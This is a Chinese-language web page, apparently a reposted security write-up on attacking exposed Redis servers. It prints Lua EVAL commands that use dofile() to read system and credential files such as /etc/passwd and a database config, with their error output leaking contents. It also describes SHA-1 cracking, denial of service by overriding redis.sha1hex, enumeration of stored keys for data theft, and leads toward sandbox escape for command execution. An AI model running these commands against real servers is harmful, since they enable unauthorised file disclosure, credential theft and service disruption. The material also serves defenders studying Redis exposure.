明辉手游网中心:是一个免费提供流行视频软件教程、在线学习分享的学习平台!

Trying to hack Redis via HTTP requests

[摘要]EVAL “ return dofile('/etc/passwd')” 0-ERR Error running script (call t...


EVAL “ return dofile('/etc/passwd')” 0
-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:1: function arguments expected near ':'

EVAL “return dofile('/etc/shadow')” 0
-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied

EVAL “return dofile('/var/www/') ” 0
-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory

EVAL “return dofile('/var/www/tmp_upload/') ”0
-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory

EVAL “return dofile('/home/ubuntu/.bashrc')” 0
-ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'

如果Lua脚本有语法错误或者尝试设置全局变量时,会产生报错信息,可以获得一些我们想要的信息

EVAL “return dofile('/etc/issue')” 0
-ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4'

EVAL “return dofile('/etc/lsb-release')” 0
-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'

EVAL “return dofile('/etc/hosts')” 0
-ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near '127.0.0.1'

还有一种情况,但是并不是很常见,就是调用dofile()这个函数去处理有效的Lua文件,然后返回提前定义好的值,假设这里有一个文件/var/data/app/db.conf

db = {
   login  = 'john.doe',
   passwd = 'Uber31337',
}

通过Lua脚本得到passwd的值

EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0
+OK Uber31337

这个也可以获取Unix标准文件的一些信息:

EVAL “dofile('/etc/environment');return(PATH);” 0      
+OK     /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
EVAL “dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);” 0
+OK /usr/bin/nano

0x07 暴力破解

Redis提供一个redis.sha1hex()函数,可以被Lua脚本调用,所以还可以通过Redis服务器进行SHA-1的破解,相关代码在adam_baldwin 的GitHub上(https://github.com/evilpacket/redis-sha-crack),相关原理的描述在
(http://fr.slideshare.net/evilpacket/ev1lsha-misadventures-in-the-land-of-lua需要********)
0x08 Dos

这里有很多Dos Redis的方法,例如通过调用shutdown这个命令删除数据。

这里有更加有趣的两个例子:

1)在Redis的控制端,调用dofile()不加任何参数,将会从标准输入读取数据,并把读取的数据认为是Lua脚本。这个时候服务器依旧在运行,但是不会去处理新的连接,直到在控制端读取到”^D”(或者重启)。

2)Sha1hex()函数可以被覆盖(在任何一个客户端都可以实现这个效果)。下面展示一个返回固定值的sha1hex()函数
Lua脚本:

print(redis.sha1hex('secret'))
function redis.sha1hex (x)
   print('4242424242424242424242424242424242424242')
end
print(redis.sha1hex('secret'))
在Redis的控制端上

# First run
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4
4242424242424242424242424242424242424242

# Next runs
4242424242424242424242424242424242424242
4242424242424242424242424242424242424242

0x09 数据窃取

如果Redis服务器存储一些有趣的数据(像session cookie或商业数据),你可以通过get枚举键值,获取数据。
0x0A 加密

Lua使用完全可以预测的”随机数”,细节在scripting.c的evalGenericCommand()函数中

/* We want the same PRNG sequence at every call so that our PRNG is* not affected by external state. */
redisSrand48(0);

每一次Lua脚本调用math.random()函数产生的随机数都是相同数字流:

0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]

0x0b 远程命令执行

为了在开放的Redis服务器上进行命令执行,有以下三种情况:
首先能够修改底层的字节码,能够进行虚拟机的逃逸。(Lua的一个例子https://gist.github.com/corsix/6575486);或者是绕过全局保护并且试图访问一些有趣的函数。

绕过全局保护是很轻松的(stackoverflow上有一个例子

http://stackoverflow.com/questions/19997647/script-attempted-to-create-global-variable)。然而这么有趣的模块并不能加载,顺便提一下,在这里还有很多有趣的东西(http://lua-users.org/wiki/SandBoxes)。
上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。